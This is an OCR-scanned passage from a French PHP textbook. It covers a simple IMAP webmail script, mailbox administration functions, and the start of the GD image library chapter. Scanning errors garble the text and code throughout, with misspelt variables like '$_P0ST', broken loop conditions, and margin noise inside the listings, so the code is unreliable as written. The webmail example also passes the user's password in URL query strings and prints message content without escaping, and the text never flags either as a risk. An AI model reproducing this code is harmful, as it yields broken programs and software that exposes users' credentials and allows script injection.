<hl>Bienvenue sur ouebmele 0.001Beta</hl> 
</fontx/p> 
<?php 
set_time_l i mi t (90) ; 
// Connexion au serveur IMAP 

// Les donnees sont recuperees du formulaire par la methode POST 
$connexion = @imap_open("{".$_P0ST["serveur"] ."/". 
$_POST["typeserveur"] . " } INBOX" , 
$_P0ST["login"] , $_P0ST["password"] ) or 
die("Impossible de se connecter :("); 
// Les informations de la boTte aux lettres INBOX 
// sont recuperees. 

$infosBal = imap_mai 1 boxmsginfo($connexion) ; 
« if($infosBal) { 



o> ^ | echo "Date: " .$infosBal ->Date. "<br>\n" ; 

E cS ^ echo "<b>" .$i nfosBal ->Nmsgs . " messages dont 

—i g $infosBal ->Unread. " non 1 us</bxbr>\n" ; 

esi g echo $infosBal->Size ."Ko occupes<br>\n" ; 

} else { 

echo "Erreur: " . imap_l ast_error() . "<br>\n"; 

} 



?> 



<tabl e> 
<tr> 

<tdxb>Date</bx/td> 
<tdxb>Message de</bx/td> 
<tdxb>Su j et</bx/td> 
<tdxb>Lu</bx/td> 
<tdxb>Repondu</bx/td> 
</tr> 
<?php 

for ($i=l; $iNmsgs+l; $i++) { 
// Pour chacun des messages, on recupere les informations liees 
$message = imap_headerinfo($connexion, $i); 
echo "<tr>\n"; 

// La date UNIX est transformed en date lisible 
echo "<td>". (date("d/m/Y H:i:s", $message->udate) ) . "</td>\n" ; 
echo "<td>" . (html speci al chars ($message->f romaddress) ) . "</td>\n" : 
echo "<tdxa href=\"webmai 1 2.php?numero=$i " . 

"&serveur=" .$_P0ST["serveur"] . 

"&typeserveur=".$_POST["typeserveur"] . 

"&login=".$_P0ST["login"] . 

" &password= " . $_P0ST [ " password "] . " \ ">" . 
($message->Subject) . 

"</td>\n"; 
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echo "<td>"; 

// Les messages LU sont marques. 

echo ($message->Unseen == 'U' || $message->Recent == 'N') ? 

"Non" : "Oui"; 
echo"</td>" 
echo "<td>" 

echo ($message->Answered == 'A') ? "Oui" : "Non"; 
echo"</td>"; 

} 

imap_close($connexion) ; 

?> 

</center> 
</body> 
</html> 

Puis l'utilisateur a la possibilite de cliquer sur un message pour voir le detail du message ainsi 
qu'une liste des fichiers attaches. 

Listing 12.27 : webmail2.php < |_ 

=■ as 

<html> 3 ™ 3 

0) — CD 

<headxtitle>Mon ouebmele</title></head> = g g 

<body> = £ 

<h2xfont col or="bl ue">Message</fontx/h2> " 5 

<?php CD ™ 

// Connexion a la boTte aux lettres. 
$connexion = @imap_open(" { " .$_GET["serveur"] . "/" . 
$_GET ["typeserveur"] . " } INBOX" , 
$_GET["login"] , $_GET["password"] ) 
or die("Impossible de se connecter :("); 
$structure = imap_fetchstructure($connexion, $_GET["numero"] ) ; 
$parties = $structure->parts; 
$fichierAttache = array(); 
$i=l; 

if ($parties) { 

foreach ($parties as $partie) { 

// Pour chacune des sous-parties, on verifie le type 
// pour l'afficher ou bien l'indiquer comme fichier attache, 
switch ($partie->type) { 
case TYPETEXT: 
echo "<pre>". 

imap_fetchbody ($connexion, $_GET["numero"] , $i) . "</pre>" ; 
break; 
defaul t : 

$parametres = $partie->dparameters; 
foreach ($parametres as $parametre) { 

i f ($parametre->attri bute == "filename") { 
$fichiersattaches[] = 

array ($i, $parametre->val ue) ; 
break; 

} 

} 
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$i++; 



} 

el se 



// Sinon il n'y a qu'une partie 

// qui est le corps du message (texte general ement) 

echo "<pre>" . imap_fetchbody ($connexion, 

$_GET["numero"] , $i) ."</pre>"; 

} 

if ($fichiersattaches) { 



<?php 



<h2xfont color="blue">Fichiers attaches</fontx/h2> 

foreach($fichiersattaches as $fichierAttache) { 
echo $fichierAttache[l] . "<br />"; 

} 
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?> 

</body> 
</html> 



ebmele - Microsoft Internet Explorf 



Fichier Edition Affichage Favoris Outils ? 

Precedente * j] ^ ) Rechercher Favoris Media 

Adresse .&] Ie.com: 143^ypeserveur=imap8!login=irriap@itoutestfacile,com8!password=pipo v Q OK Liens 



Message 



Bond one iinap, 

il fait beau a Washington, 



CU, 
Tom. 



Figure 12.6 : Exemple sans fichier attache 



Ce webmail tres simple ne montre que les bases des applications de ce genre. En quelques 
lignes seulement, il a ete possible d'interroger un compte et de recuperer des messages. Libre 
a vous d'exploiter au mieux les fonctions fournies dans la bibliotheque imap pour etoffer ce 
script. 
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? Mon ouebmele - Microsoft Internet Explorer |_ ||n||X| 



Flchier Edition flffichage Favoris Outils ? 

^ Precedents - £ @ [*] ''i Rechercher Favoris ^Jf* Media 

r. le.com:143^ypeserveurNmap^ogin=irriap@'l:outestfai:ile.corri&password=pipo - ; J OK 54 

Message 

Bonjour iitiap, 



CocDlialement , 

Thomas 

Fichiers attaches 

k 

Image4.pcx 
Imagel.pcx 
Image2.pcx 
Image3.pcx 



Figure 12.7 : Exemple avec fichiers attaches 

Administration des boites a lettres 



imap_get_quota() 

Recupere les quotas d'une boite a lettres. II faut que 1'identifiant de la boite a lettres ait ete 
recupere par la fonction imap_open ( ) avec les login et mot de passe de l'administrateur. 

Syntaxe array imap_get_quota(resource $i denti f i antBal , string $bal) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$bal Nom de la boite a lettres dont on veut les quotas (ex : user . emma). 

retour Un tableau associatif avec les cles usage pour connaitre l'espace occupe 

et limit pour connaitre la taille de la boite a lettres. 

Le script suivant est cense afficher les quotas de l'utilisateur Emma : 
<?php 

$bal = imap_open(" {mail .monsite.com: 143/i map} " ."loginadmin", 

"passwordadmin",OP_HALFOPEN) ; 
$tableau = imap_get_quota($bal , "user. emma") ; 
if (is_array($tableau)) { 

echo "Espace occupe : " . $tableau['usage'] ; 

echo "Quota : " . $tableau[' limit'] ; 

} 

imap_cl ose($bal ) ; 

?> 



SS. d) 

3 s i 
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CD 
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imap_set_quota() 



Definit les quotas d'une boite a lettres. II faut que l'identifiant de la boite a lettres ait ete 
recupere par la fonction imap_open ( ) avec les login et mot de passe de l'administrateur. 

Syntaxe boolean imap_get_quota(resource $identifiantBal , string $bal , 

string $1 imite) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$bal Nom de la boite a lettres dont on veut definir les quotas (ex. : 

user . emma). 

$1 imite LimiteenKo. 

retour TRUE si le changement de quota s'est effectue, FALSE sinon. 



imap_createMailbox () 



03 CD 
I l = 

as — J2 Cree une nouvelle boite a lettres. 



Syntaxe boolean imap_createMai 1 box(resource $identifiantBal , string 



csi = $bal] 



$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 
$bal Nom de la boite a creer. 

retour TRUE si l'operation s'est bien effectuee, FALSE sinon. 



Accents 

Les noms de boites a lettres contenant des accents doivent d'abord etre encodes par 
REMARQUE [ a f onct i on i map _ u tf7_encode(). 

Voici un exemple creant un dossier Test. 

Listing 12.28 : imap createmailbox.php 

<?php 

$bal = imap_open("{mail .monsite.com: 143/imap} INBOX" , 

"monlogin", "monpassword") ; 
imap_createMai 1 box($bal , " {mai 1 .monsi te.com: 143/imap} INBOX. Test") ; 
imap_cl ose($bal ) ; 

?> 
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imap_deleteMailbox () 

Supprime une boite a lettres. 

Syntaxe boolean imap_deleteMailbox(resource $identifiantBal , string 

$bal) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 
$ b a 1 Nom de la boite a supprimer. 

retour TRUE si l'operation s'est bien effectuee, FALSE sinon. 

Voici un exemple supprimant le dossier Test . 

Listing 12.29 : imapdeletemailbox.php 

<?php 

$bal = imap_open("{mail . mons i te. com :143/i map} INBOX", cd 

"monlogin", "monpassword") ; < J_ 

imap_deleteMailbox($bal , " {mai 1 .monsite.com: 143/imap} INBOX. Test") ; — ■ ni 

imap_close($bal ) ; 3 ~ 3 

?^ — . CD CO 

sr o co 
~. <a 

CD CD 

imap_renameMailbox () 

Permet de renommer une boite a lettres. 

Syntaxe boolean imap_renameMai 1 box(resource $identifiantBal , string 

$ancienNom, string $nouveauNom) 

$i denti f i antBal Identifiant tel que retourne par imap_open ( ) . 

$ancienNom Ancien nom de la boite a lettres. 

$nouveauNom Nouveau nom de la boite a lettres. 

retour TRUE si la boite a ete renommee. 

Voici un exemple d'utilisation : 

Listing 12.30 : imap renamemailbox.php 

<?php 

$bal = imap_open("{mail .monsite.com:143/imap}", 

"monl ogi n" , "monpassword") ; 
imap_renameMai 1 box($bal , " {mai 1 . mons i te.com: 143/imap} . INBOX. ancien" , 
" {mai 1 .monsite.com: 143/imap} . INBOX. nouveau") ; 

imap_cl ose($bal ) ; 

?> 
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13.1. Images (utilisation de la bibliotheque GD) 

La bibliotheque gd, ecrite en C, permet de creer des images aux formats JPEG, PNG, WBMP, 
GD et de lire un certain nombre d'autres formats (comme XPM et XPM). Auparavant, elle 
offrait la possibilite de creer des images au format GIF, mais cela n'est plus supporte depuis la 
modification de la licence d'utilisation du format GIF (licence qui ne concerne pas l'Europe). 
II est cependant possible de modifier la bibliotheque gd afin de creer egalement des images au 
format GIF. 

Meme si vous etes a meme de dessiner de belles figures geometriques, comme des fractales, 
l'utilisation de cette bibliotheque vous servira certainement plutot a tracer des diagrammes de 
statistiques (histogrammes, camemberts, etc.) ou a utiliser des polices d'ecriture exotiques. 

A la fin de ce chapitre, nous etudierons particulierement la creation des histogrammes. A 
travers cet exemple, nous verrons les principales fonctions disponibles grace a cette 
bibliotheque. 

Nous presenterons egalement quelques fonctions en marge de la bibliotheque gd, qui 
permettent de recuperer des informations sur un fichier (type, taille, etc.). Ce qui permet, par 
exemple, de faire une page de previsualisation d'images. 

Licence GIF (LZW) 

La licence empechant l'utilisation du format GIF n 'a desormais plus court dans la 
plupart des pays. Pour certain pays toutefois celle-ci court encore jusqu'en juillet 
2004. Ilfaudra done attendre cette date pour esperer retrouver un support officiel de 
format GIF par la bibliotheque GD. 

Installation 

Sous Windows 

Avec l'archive du PHP Group 

Sans support GIF 

Vous devrez vous assurer d'avoir le fichier php_gd2.dll (livre dans l'archive PHP distribute par 
le PHP Group) dans votre repertoire contenant les extensions PHP, et ajouter a votre fichier 
php.ini ou decommenter une ligne 

extension=php_gd2.dl 1 

Avec les versions de PHP<4.3.2, l'archive contenait egalement (ou a la place) un fichier 
php_gd.dll permettant l'utilisation de la version 1 de GD. 

Depuis PHP 4.3.9, le support de GIF en lecture et ecriture est retabli. 
Avec support GIF 

Si vous souhaitez disposer d'une librairie gd (<2.0) supportant le format GIF, vous devez 
telecharger un fichier php_gd_gif.dll (habituellement disponible sur http://www.php4win.com). Fi- 




REMARQUE 
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chier que vous copierez dans votre repertoire contenant les extensions PHP. II vous suffira alors 
d'ajouter a votre fichier php.ini, une ligne 

extension=php_gd_gi f .dl 1 

Avec EasyPHP 

Sans support GIF 

Avec EasyPHP 1.6, le support de GD (<2.0) est active automatiquement. 

Si vous souhaitez le support de GD 2 vous devrez modifier le fichier php.ini afin de 
decommenter la ligne concernant GD 2. 

extension=php_gd2.dl 1 
Avec support GIF 

Si vous souhaitez le support de GD (<2.0) avec GIF, vous devez modifier le fichier php.ini afin 
de commenter la ligne concernant GD (<2.0) sans GIF, et decommenter celle concernant GD 
(<2.0 avec support GIF. 

;extension=php_gd.dl 1 
extension=php_gd_gi f .dl 1 

Sous Linux 

reinstallation de la bibliotheque gd necessite (selon les besoins) la presence prealable des 
bibliotheques (de developpement) libpng et zlib pour le format PNG, j peg- 6b (ou 
superieur) pour le format JPEG, freetype et/ou xpm. Ces bibliotheques sont generalement 
fournies avec les distributions Linux. II suffit alors de les installer (si cela n'a pas ete fait 
precedemment). Le plus simple consiste encore a utiliser les paquetages .rpm. 

Exemple avec une distribution Mandrake 9,1 

II vous suffit de "monter" le CD-ROM de la distribution (mount /mnt/cdrom), de 
vous deplacer dans Varborescence (cd /mnt/cdrom/Mandrake/RPMS) etde lancer les 
installations : 

rpm -U zlibl-1.1.4-5mdk.i586.rpm 
rpm -U zl i bl-devel -1 . 1.4-5mdk. i 586. rpm 
rpm -U 1 ibpng3-1.2.5-2mdk.i586.rpm 
rpm -U 1 ibpng3-devel -1.2.5-2mdk. i 586 . rpm 
rpm -U 1 ibjpeg62-6b-26mdk.i586.rpm 
rpm -U 1 ibjpeg62-devel -6b-26mdk. i 586 . rpm 
rpm -U freetype-1.3.1-18mdk.i586.rpm 
rpm -U freetype2-2.1.3-12mdk.i586.rpm 
rpm -U freetype2-devel-2.1.3-12mdk.i586.rpm 
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Vous devez, dans un premier temps, recuperer la bibliotheque gd, disponible sur le site (en 
anglais) http://www.boutell.com/gd/ (elle est egalement disponible sur le CD-ROM fourni). Si tou- 
tefois vous souhaitez egalement profiter du format GIF vous devez recuperer une version 
modifiee sur le site (anglais) http://www.rhyme.com.au/gd/ (elle est egalement disponible sur le 
CD-ROM fourni). Dans ce cas, vous devrez remplacer les references a gd-2.0.15 par 

gd-2 . . 15gif-030801. 

Vous pouvez copier l'archive sous /usr/local/src/lib. 
II vous suffit alors de decompresser l'archive : 

# gunzip gd-2. 0. 15. tar. gz 

# tar xvf gd-2. 0.15. tar 

Et de lancer la generation et l'installation : 

# cd gd-2.0.15 

# ./configure 

# make 

# make install 

Vous devez a present disposer d'un fichier libgd.a sous le repertoire /usr/local/lib. 

Vous devrez ensuite recompiler PHP avec l'option — with-gd=/usr/local pour disposer 
d'un GD de base (ne supportant que WBMP et eventuellement GIF). A cette option, vous 
pouvez ajouter : 

■ — with-jpeg-dir=/usr pour le support du format JPEG ; 

— with-png-dir=/usr — with-zlib-dir=/usr pour le Support du format PNG. 

A vous d'ajuster les chemins precises. lis doivent correspondre aux repertoires contenant le 
repertoire lib/ contenant les fichiers libjpeg. *, libpng. *, libz . *, etc. 




Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur la 
compilation de PHP. 



RENVOI 

Verification 

Vous pouvez verifier le bon deroulement des operations d'installation en appelant un simple 
script contenant <?php phpinf o ( ) ; ?>. Celui-ci devra laisser apparaitre : 





GD Support 


enabled 


GD Version 


2.0 or higher 


GIF Read Support 


enabled 


GIF Create Support 


enabled 


JPG Support 


enabled 


PNG Support 


enabled 


WBMP Support 


enabled 



Figure 13.1 : 

phpinf o() 



Les lignes "Gif Read Support enabled" et "Gif Create Support enabled" n'apparaitront 
que si vous avez installe une version de gd supportant le format GIF. 
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Pour recuperer des informations sur GD vous pouvez egalement utiliser la fonction 
gd_inf o ( ) qui vous donnera les principales caracteristiques de la version installee. 



gd_info() 



Retourne des informations sur la version de GD installee. Cette fonction n'existe que depuis 
PHP 4.3.0. 

Syntaxe: array gd_info (void) 

retour Un tableau avec pour index : 

GD Version : version de GD installee 

Freetype Support : TRUE si le support de Freetype est installe. 
Freetype Linkage : Si Freetype est installe, cette valeur retourne 'with 
freetype', 'with TTF library' ou 'with unknown library' selon la f agon dont a 
ete installe Freetype. 

TILib Support : TRUE si TILib est supporte. 

GIF Read Support : TRUE si la lecture des GIF est supportee. 

GIF Create Support : TRUE si la creation de GIF est supportee. 

JPG Support : TRUE si la manipulation de JPG est supportee. 

.22 ^ PNG Support : TRUE si la manipulation de PNG est supportee. 

c3 S3 WBMP Support : TRUE si la manipulation de WBMP est supportee. 

Sg E XBM Support : TRUE si la manipulation de XBM est supportee. 

ca = 
E -2 

— CO 

GO C 



Definition de l'image de base 



Tout d'abord, commencons par un rapide apercu des differents formats d'image que la 
bibliotheque est capable de generer. 

GIF : il s'agit d'un format de compression d'image, sans perte, limite a 256 couleurs et 
pouvant (depuis les dernieres normes) comporter une "couleur" transparente. II est 
particulierement adapte aux dessins (images avec des contours nets et des regions de 
couleur uniforme). 

PNG : il s'agit d'un format de compression d'image, sans perte, pouvant supporter jusqu'a 
16 millions de couleurs. 

JPEG : il s'agit d'un format de compression d'image, avec perte, pouvant supporter jusqu'a 
16 millions de couleurs. Le taux de compression (et done de perte) est ajustable, et a un 
impact significatif sur la taille du fichier et la qualite de l'image. Ce format est 
particulierement adapte aux photos (nombreuses nuances de couleurs et peu de contours 
nets). 

WBMP : il s'agit du format d'image utilise par les applications WAP, sans perte ni 
compression, et limite a deux couleurs. 

■ GD et GD 2 : sont des formats propres a la bibliotheque GD. 
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Avant d'envoyer les donnees liees a l'image, vous devrez prevenir le navigateur du type des 
donnees que vous lui communiquez. II suffit pour cela d'ecrire, selon les cas : 

header("Content-type: image/gif") ; 
header("Content-type: image/png") ; 
header("Content-type: image/jpeg") ; 
header("Content-type: image/vnd.wap.wbmp") ; 

A vous de choisir l'en-tete correspondant en fonction du fichier que vous souhaitez fournir, et 
des possibilites offertes par la bibliotheque gd installee. 



REMARQUE 



Deboguer 

Une fois l'en-tete envoye au navigateur, vous ne serez plus en mesure de voir les 
eventuels messages d'erreur rapportes par les fonctions appelees par la suite. Pour 
deboguer ce genre de script, vous serez done amene a commenter la ligne de l'en-tete 
ou a la deplacer pour I'appeler au tout dernier moment (juste avant d'envoyer les 
donnees). 




Vous pouvez vous reporter a V annexe "Les en-tetes HTTP" pour plus d' informations. 



RENVOI 



Pour construire l'image (les donnees a envoyer au navigateur), vous devez d'abord definir un 
canevas (un espace de travail avec un identifiant). Pour cela, vous pouvez soit creer une 
nouvelle image, soit vous resservir d'une image existante. 

Pour creer une nouvelle image, il suffit de faire appel a la fonction imagecreate ( ) qui 
retourne un identifiant pour cette image. 



imageCreate() 

Cree un nouvel identifiant d'image. Pour une image de 256 couleurs. 

Syntaxe resource imageCreate(int $largeur, int $hauteur) 

$largeur Largeur de l'image. 

$hauteur Hauteur de l'image. 

retour Identifiant de l'image. 

Pour une image de 200 pixels de largeur et 300 de hauteur : 
$image = imageCreate(200,300) ; 

imagecreate ( ) est limite a une palette de 256 couleurs. Pour en utiliser plus, il faut creer 
l'image a l'aide de : 
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imageCreateTrueColor () 

Cree un nouvel identifiant d'image. Pour une image de 16 millions de couleurs. 
Syntaxe resource imageCreateTrueCol or(i nt $largeur, int $hauteur) 

$largeur Largeur de l'image. 

$hauteur Hauteur de l'image . 

retour Identifiant de l'image. 

Pour creer une image a partir d'une image existante, en fonction du type du fichier d'image que 
Ton souhaite recuperer, il existe toute une panoplie de fonctions qui prennent toutes en 
parametre le chemin du fichier a ouvrir : 



imageCreateFromGD () 

Cree un nouvel identifiant d'image a partir d'une image GD existante. 
Syntaxe resource imageCreateFromGD(stri ng $nomFi chi er) 

GO 

2£ ^ $nomFichier Nom du fichier contenant les donnees devant servir de base a la nouvelle 

cu image. 

C/3 Li- 
es co retour Identifiant d'image. 

CO = 

E -2 

— CO 

CO c 



imageCreateFromGD2 () 

Cree un nouvel identifiant d'image a partir d'une image GD 2 existante. 
Syntaxe resource imageCreateFromGD2(string $nomFi chi er) 

$nomFi chi er Nom du fichier contenant les donnees devant servir de base a la nouvelle 

image. 

retour Identifiant d'image. 



imageCreateFromGIF () 

Cree un nouvel identifiant d'image a partir d'une image GIF existante. 

Syntaxe resource imageCreateFromGIF(string $nomFi chi er) 

$nomFi ch i er Nom du fichier contenant les donnees devant servir de base a la nouvelle 

image. 

retour Identifiant d'image. 
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imageCreateFromJPEG () 

Cree un nouvel identifiant d'image a partir d'une image JPEG existante. 

Syntaxe resource imageCreateFromJPEG (string $nomFichier) 

$nomFi ch i er Nom du fichier contenant les donnees devant servir de base a la nouvelle 

image. 

retour Identifiant d'image. 



imageCreateFromPNG () 

Cree un nouvel identifiant d'image a partir d'une image PNG existante. 

Syntaxe resource imageCreateFromPNG (string $nomFichier) 

$nomFi chi er Nom du fichier contenant les donnees devant servir de base a la nouvelle 

image. 

retour Identifiant d'image. 



imageCreateFromWBMP () 



3 CD 

3 1. 

5- 3 
= a> 
co to 

CD 

m co 
a> cd 

Cree un nouvel identifiant d'image a partir d'une image WBMP existante. ~ 

CD 

V) 

Syntaxe resource imageCreateFromWBMP(string $nomFi chi er) 

$nomFi chi er Nom du fichier contenant les donnees devant servir de base a la nouvelle 

image. 

retour Identifiant d'image. 



imageCreateFromXBM () 

Cree un nouvel identifiant d'image a partir d'une image XBM existante. 

Syntaxe resource imageCreateFromXBM(stri ng $nomFichier) 

$nomFi chi er Nom du fichier contenant les donnees devant servir de base a la nouvelle 

image. 

retour Identifiant d'image. 
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imageCreateFromXPM () 

Cree un nouvel identifiant d'image a partir d'une image XPM existante. 
Syntaxe resource imageCreateFromXPM(stri ng $nomFi chi er) 

$nomFi ch i er Nom du fichier contenant les donnees devant servir de base a la nouvelle 

image. 

retour Identifiant d'image. 

Une autre fonction permet de n'utiliser qu'une partie d'une image GD 2 ; sa signature est la 
suivante : 



CO 
03 

■s j 

CO II 
CD 

ro = 

E -2 

— CO 

CO c 

cu £= 



imageCreateFromGD2Part () 

Cree un nouvel identifiant d'image a partir d'un sous-ensemble d'une image GD 2 existante. 



Syntaxe 


resource imageCreateFromGD2Part (stri ng $nomFichier, int 
$sourceX, int $sourceY, int $largeur, int $hauteur) 


$nomFi chi er 


Nom du fichier GD 2 contenant les donnees devant servir de base a la 
nouvelle image. 


$sourceX 


Ordonnee du point superieur gauche de la partie extraite (0 = gauche de 
l'image). 


$sourceY 


Abscisse du point superieur gauche de la partie extraite (0 = haut de 
l'image). 


$1 argeur 


Largeur de la partie extraite. 


$hauteur 


Hauteur de la partie extraite. 


int 


Identifiant de l'image. 



Une fois l'image creee, il suffit de l'envoyer vers le navigateur a 1'aide d'une des fonctions 
suivantes. A la place, il est egalement possible de sauvegarder l'image dans un fichier en 
renseignant le parametre $nomFichier : 



imageGDQ 



Envoie au navigateur, ou sauvegarde dans un fichier, les donnees de l'image au format GD. 
Syntaxe boolean imageGD(resource $image [, string $nomFi chi er] ) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famine de fonctions imageCreateFromXX ( ) . 

$nomFi chi er Nom du fichier dans lequel sauvegarder l'image. 

retour FALSE en cas d'erreur. 
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imageGD2() 

Envoie au navigateur, ou sauvegarde dans un fichier, les donnees de l'image aii format GD 2. 

Syntaxe boolean imageGD2 (resource $image [, string $nomFi chi er] ) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$nomFi chi er Nom du fichier dans lequel sauvegarder l'image. 

retour FALSE en cas d'erreur. 



imageGIF() 

Envoie au navigateur, ou sauvegarde dans un fichier, les donnees de l'image au format GIF. 

Syntaxe boolean imageGIF(resource $image [, string $nomFi chi er] ) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$nomFichier Nom du fichier dans lequel sauvegarder l'image. 2| j_ 

retour FALSE en cas d erreur. g «° 

5" 3 
= a> 

GO (£3 
CD 

imageJPEGQ HH 

Envoie au navigateur, ou sauvegarde dans un fichier, les donnees de l'image au format JPEG. 

Syntaxe boolean imageJPEG(resource $image [, string $nomFichier [, int 

$qualite]]) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$nomFi chi er Nom du fichier dans lequel sauvegarder l'image. (Mettre une chaine vide 

si vous souhaitez preciser une qualite, mais ne pas sauvegarder l'image 
dans un fichier). 

$qual ite Valeur entre 1 (moins bonne qualite, plus fort taux de compression) et 

100 (meilleure qualite, plus faible taux de compression). Par defaut, le 
facteur de qualite est d'environ 7 5. 

retour FALSE en cas d'erreur. 
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imageWBMP() 

Envoie au navigateur, ou sauvegarde dans un fichier, les donnees de l'image aii format WBMP. 

Syntaxe boolean imageWBMP (resource $image [, string $nomFichier [, int 

$couleurPrincipale]] ) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$nomFi chi er Nom du fichier dans lequel sauvegarder l'image. (Mettre une chaine vide 

si vous souhaitez preciser la couleur principale, mais ne pas sauvegarder 
l'image dans un fichier). 

$coul eurPri nci pal e Couleur de premier plan (par defaut : noir) . 

retour FALSE en cas d'erreur. 

image2WBMP() 

Envoie au navigateur, ou sauvegarde dans un fichier, les donnees de l'image au format WBMP. 

Syntaxe boolean image2WBMP(resource $image [, string $nomFi chi er [, 

int $seuil]]) 

$image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

$nomFi chi er Nom du ficher dans lequel sauvegarder l'image. (Mettre une chaine vide si 

vous souhaitez preciser un seuil, mais ne pas sauvegarder l'image dans un 
fichier). 

retour FALSE en cas d'erreur. 

Pour liberer la memoire occupee, il suffit d'appliquer la fonction imageDestroy ( ) a l'image. 

imageDestroyO 

Libere les ressources allouees par l'image. 



Syntaxe boolean imageDestroy (resource $image) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 

retour TRUE. 



Afin de clarifier les choses, voici un exemple tout simple d'utilisation. Le script suivant affiche 
simplement une image au format JPEG a partir d'une image au format GIF. Ce qui, 
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notamment si l'image est une photo, permet, a priori, de reduire la taille de l'image transferee. 
En pratique, on aura tout interet a realiser manuellement l'operation une bonne fois pour 
toutes, plutot que d'appeler ce script chaque fois que 1'image est consultee. 

Listing 13.1 : gdOO.php 

<?php 

// Precise au navigateur le type de donnees 
// qu'il est sur le point de recevoir 
header("Content-type: image/jpeg") ; 

// Prepare une nouvelle image a parti r 

// d'une image au format GIF 

$image = imageCreateFromGIF("image.gif") ; 

// Envoie l'image au format JPEG 

// Avec un facteur de qualite de 90% 

imageJPEG($image, "", 90); 

// Libere les ressources 

// Meme si, c'est surtout utile pour 

// les images intermedial res ou bien lorsque l'image 

// est stockee dans un fichier et que le script continue 

imageDestroy ($image) ; 

?> 

A titre d'information, si vous sauvegardez l'image obtenue, vous constaterez, qu'avec l'image 
d'exemple, nous avons reduit la taille des donnees d'un facteur 3. 

L'image pourra etre consultee directement en appelant l'URL de gd_00.php depuis le navigateur 
ou par le biais d'une page HTML contenant le code utilise pour n'importe quelle image : 

<img src="gd_00.php" /> 

La palette de couleurs 

Les couleurs possedent trois composantes : une rouge, une verte et une bleue. En informatique, 
chacune de ces composantes est generalement codee sur un octet, et peut done prendre une 
valeur entre et 255. II est ainsi possible de definir 16 millions de couleurs. Cependant, tous les 
formats d'image ne sont pas capables de supporter 16 millions de couleurs : beaucoup 
n'utilisent qu'un seul octet pour definir la couleur d'un pixel. II faut done trouver le moyen de 
passer d'une information sur 3 octets (les trois composantes de la couleur) a une sur un seul 
octet. Pour cela, il suffit d'avoir une table de correspondances aussi appelee palette de couleurs. 

Ainsi, pour pouvoir utiliser une couleur, il faut au prealable 1'ajouter a la palette et recuperer 
un identifiant de couleur. Pour cela, vous devez utiliser la fonction imageColorAllocate ( ) . 

La signature de cette fonction est la suivante : 
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imageColorAllocate () 



Ajoute une couleur a la palette de couleurs 
Syntaxe 



$ image 

$rouge 
$vert 
$bleu 
retour 



int imageColorAl locate(resource $image, int $rouge, int $vert, 
int $bleu) 

Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 
la famille de fonctions imageCreateFromXX ( ) . 

Composante rouge de l'image (comprise entre et 255). 

Composante verte de l'image (comprise entre et 255). 

Composante bleue de l'image (comprise entre et 255). 

Identifiant de couleur ou - 1 en cas d'erreur. 



CO 
03 

■s j 

CO II 
CD 

ro = 

E -2 

— CO 

CO c 

cu £= 



Notez que la premiere couleur ainsi definie servira de couleur de fond. 
Voici quelques exemples de definition d'une couleur : 



$bl anc 

$noi r 

$gris_l 

$gris_2 

$gris_3 

$rouge 

$vert 

$bleu 

$mauve 

$jaune 



imageCol 
imageCol 
imageCol 
imageCol 
imageCol 
imageCol 
imageCol 
imageCol 
imageCol 
imageCol 



orAl 1 ocate 
orAl 1 ocate 
orAl locate 
orAl 1 ocate 
orAl locate 
orAl 1 ocate 
orAl 1 ocate 
orAl locate 
orAl 1 ocate 
orAl 1 ocate 



iimage, 255, 255, 255); 

iimage, 0, 0, 0); 

iimage, 50, 50, 50); 

iimage, 100, 100, 100); 

iimage, 150, 150, 150); 

iimage, 255, 0, 0); 

iimage, 0, 255, 0): 

iimage, 0, 0, 255); 

iimage, 100, 0, 100); 

iimage, 0, 100, 100); 



II est egalement possible de definir une "couleur" transparente, mais il faut toutefois, au 
prealable, creer un nouvel element dans la palette avec imageColorAllocate () . Peu 
importent alors les composantes choisies, les points utilisant cette couleur seront transparents 
(en fait, la couleur pourrait apparaitre pour les logiciels ne gerant pas la transparence). 

Pour cela, il suffit d'indiquer l'identifiant de la couleur a la fonction 

imageColorTransparent ( ) . 



imageColorTransparent () 

Definit un element de la palette comme transparent. 

Syntaxe int imageCol orTransparent (resource $image [, int $couleur]) 

$ image Identifiant d'image tel que retourne par la fonction imageCreate ( ) et 

la famille de fonctions imageCreateFromXX ( ) . 
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$couleur Identifiant de la couleur tel que retourne par la fonction 

imageColorAl locate ( ) .Sice parametre est omis, c'est la couleur par 
defaut qui est utilisee (la premiere couleur allouee). 

retour Identifiant de la couleur rendue transparente. 

Voici un morceau de script pour generer une image au format PNG, de 250 pixels sur 200, avec 
un fond noir : 



Listing 13.2 : gd_01.php 

<?php 

header("Content-type: image/png") ; 
$largeur = 250; 
$hauteur = 200; 

$image = imageCreate($l argeur, $hauteur); 
$noir = imageColorAllocate($image, 0, 0, 0) ; 
// c'est ici que l'on dessinera sur 1' image 
imagePNG($image) ; 
imageDestroy ($image) ; 



Le meme script avec une couleur de fond transparente : 

CO 

t» ■ 

Listing 13.3 : gd_02.php §' ST 

CJ 

<?phP 1' si 

header("Content-type: image/png"); *" *§ 

$largeur = 250; £ £ 

$hauteur = 200; =■ — 

$image = imageCreate($l argeur, $hauteur) ; v> 
$noir = imageColorAllocate($image, 0, 0, 0); 
imageCol orTransparent ($image, $noi r) ; 
// c'est ici que l'on dessinera sur 1' image 
imagePNG($image) ; 
imageDestroy ($image) ; 

?> 



Recherche de couleurs dans la palette 

II est egalement possible de recuperer l'identifiant d'une couleur si celle-ci est disponible dans 
